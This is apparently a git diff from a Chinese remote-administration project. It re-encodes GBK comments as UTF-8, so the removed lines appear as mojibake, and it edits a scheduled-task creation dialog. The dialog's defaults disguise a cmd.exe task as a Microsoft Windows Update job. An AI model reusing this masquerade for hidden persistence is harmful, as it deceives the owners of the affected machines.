// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><EFBFBD><EFBFBD>ܿض˳<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ŵ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>, <20><>ʹ<EFBFBD><CAB9>Releaseģʽ<C4A3><CABD><EFBFBD>ɵij<C9B5><C4B3><EFBFBD>, <20>Խ<EFBFBD><D4BD><EFBFBD><EFBFBD><EFBFBD>VLD<4C><44><EFBFBD><EFBFBD><EFBFBD><EFBFBD>; <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>VLD<4C><44><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>һͬ<D2BB><CDAC><EFBFBD><EFBFBD>.
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>VLD<EFBFBD><EFBFBD>ʾ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>й¶<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>׷<EFBFBD>ٲ<EFBFBD><EFBFBD>˺<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ö<EFBFBD>ջ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD>÷<EFBFBD><EFBFBD>ŷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ء<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Գ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// ȷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ĵ<EFBFBD><EFBFBD>Թ<EFBFBD><EFBFBD>ߣ<EFBFBD><EFBFBD><EFBFBD> Visual Studio <EFBFBD><EFBFBD> WinDbg<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>˷<EFBFBD><EFBFBD>ŷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// <EFBFBD><EFBFBD><EFBFBD>ŷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȱʧ<EFBFBD>ķ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> dbghelp.pdb<64><62><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><E6B5BD><EFBFBD>ط<EFBFBD><D8B7><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD>
// <EFBFBD><EFBFBD><EFBFBD>÷<EFBFBD><EFBFBD>ŷ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Visual Studio Ϊ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> Visual Studio <EFBFBD>У<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> > ѡ<><D1A1> > <20><><EFBFBD>š<EFBFBD>
// <EFBFBD><EFBFBD>ѡ Microsoft Symbol Servers. ָ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ż<EFBFBD><EFBFBD><EFBFBD>Ŀ¼<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> "C:\Symbols"<EFBFBD><EFBFBD>
// <EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><EFBFBD>ȱʧ<EFBFBD>ķ<EFBFBD><EFBFBD>ţ<EFBFBD><EFBFBD><EFBFBD> dbghelp.pdb<64><62><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD>Ŀ¼<C4BF><C2BC>
// 检测内存泄漏需安装VLD否则请注释此行
// 如果安装了VLD, 请将安装路径添加到环境变量: 名称为"VLDPATH", 路径为"D:\Program Files (x86)\Visual Leak Detector"
// 请根据实际安装目录填写VLDPATH. 或者手动编辑每个项目文件的头文件目录和库目录. 有关下载VLD库的信息请参考下面链接.
// VS2017以前版本的VLD: https://kinddragon.github.io/vld
// VS2019使用的VLD支持以往的VS版本, 推荐): https://github.com/oneiric/vld/releases/tag/v2.7.0
// 如果要将受控端程序放到其他机器上面运行, 请使用Release模式生成的程序, 以解除对VLD的依赖; 否则你需要将VLD相关文件一同拷贝.
// 对于VLD提示内容泄露但是追踪不了函数调用堆栈的情况请启用使用符号服务器自动下载。这可能引起调试程序的时候变慢。
// 确保你的调试工具(如 Visual Studio WinDbg)配置了符号服务器。
// 符号服务器会自动下载缺失的符号文件,包括 dbghelp.pdb并将其缓存到本地符号路径。
// 配置符号服务器(以 Visual Studio 为例):在 Visual Studio 中,打开 调试 > 选项 > 符号。
// 勾选 Microsoft Symbol Servers. 指定符号缓存目录,例如 "C:\Symbols"
// 调试时,缺失的符号(如 dbghelp.pdb会自动下载到缓存目录。
#include "vld.h"
#ifndef VLD_RPTHOOK_REMOVE
#error <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>й©<EFBFBD><EFBFBD><EFBFBD>谲װVLD<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ע<EFBFBD><EFBFBD>#include "vld.h"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʹ<EFBFBD><EFBFBD>Release<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#error 检测内存泄漏需安装VLD否则请注释#include "vld.h",或使用Release编译
#endif
#endif
#include "targetver.h"
#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // ijЩ CString <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><EFBFBD>
#define _ATL_CSTRING_EXPLICIT_CONSTRUCTORS // 某些 CString 构造函数将是显式的
// <EFBFBD>ر<EFBFBD> MFC <EFBFBD><EFBFBD>ijЩ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ɷ<EFBFBD><EFBFBD>ĺ<EFBFBD><EFBFBD>Եľ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 关闭 MFC 对某些常见但经常可放心忽略的警告消息的隐藏
#define _AFX_ALL_WARNINGS
#include <afxwin.h> // MFC <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͱ<EFBFBD>׼<EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#include <afxext.h> // MFC <EFBFBD><EFBFBD>չ
#include <afxwin.h> // MFC 核心组件和标准组件
#include <afxext.h> // MFC 扩展
#include <afxdisp.h> // MFC <EFBFBD>Զ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
#include <afxdisp.h> // MFC 自动化类
#ifndef _AFX_NO_OLE_SUPPORT
#include <afxdtctl.h> // MFC <EFBFBD><EFBFBD> Internet Explorer 4 <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؼ<EFBFBD><EFBFBD><EFBFBD>֧<EFBFBD><EFBFBD>
#include <afxdtctl.h> // MFC Internet Explorer 4 公共控件的支持
#endif
#ifndef _AFX_NO_AFXCMN_SUPPORT
#include <afxcmn.h> // MFC <EFBFBD><EFBFBD> Windows <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ؼ<EFBFBD><EFBFBD><EFBFBD>֧<EFBFBD><EFBFBD>
#include <afxcmn.h> // MFC Windows 公共控件的支持
#endif // _AFX_NO_AFXCMN_SUPPORT
#include <afxcontrolbars.h> // <EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϳؼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> MFC ֧<EFBFBD><EFBFBD>
#include <afxcontrolbars.h> // 功能区和控件条的 MFC 支持
#define WM_USERTOONLINELIST WM_USER + 3000

View File

@@ -1,11 +1,11 @@
// CCreateTaskDlg.cpp: ʵ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>
// CCreateTaskDlg.cpp: 实现文件
//
#include "stdafx.h"
#include "2015Remote.h"
#include "CCreateTaskDlg.h"
// CCreateTaskDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CCreateTaskDlg 对话框
IMPLEMENT_DYNAMIC(CCreateTaskDlg, CDialog)
@@ -15,7 +15,7 @@ CCreateTaskDlg::CCreateTaskDlg(CWnd* pParent /*=nullptr*/)
, m_TaskNames(_T("bhyy"))
, m_ExePath(_T("C:\\windows\\system32\\cmd.exe"))
, m_Author(_T("Microsoft Corporation"))
, m_Description(_T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫʱ<EFBFBD><EFBFBD><EFBFBD><EFBFBD> Windows <20><><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD>мƻ<D0BC><C6BB>IJ<EFBFBD><C4B2><EFBFBD>(<28><>ɨ<EFBFBD><C9A8>)"))
, m_Description(_T("此任务用于在需要时启动 Windows 更新服务以执行计划的操作(如扫描)"))
{
}
@@ -40,12 +40,12 @@ BEGIN_MESSAGE_MAP(CCreateTaskDlg, CDialog)
END_MESSAGE_MAP()
// CCreateTaskDlg <EFBFBD><EFBFBD>Ϣ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// CCreateTaskDlg 消息处理程序
void CCreateTaskDlg::OnBnClickedButtonCREAT()
{
UpdateData(TRUE);
// TODO: <EFBFBD>ڴ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӿؼ<EFBFBD>֪ͨ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// TODO: 在此添加控件通知处理程序代码
CDialog::OnOK();
}

View File

@@ -1,7 +1,7 @@
#pragma once
#pragma once
// CCreateTaskDlg <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD>
// CCreateTaskDlg 对话框
class CCreateTaskDlg : public CDialog
{
@@ -11,7 +11,7 @@ public:
CCreateTaskDlg(CWnd* pParent = nullptr);
virtual ~CCreateTaskDlg();
// <EFBFBD>Ի<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
// 对话框数据
#ifdef AFX_DESIGN_TIME
enum { IDD = IDD_CREATETASK };
#endif

Some files were not shown because too many files have changed in this diff Show More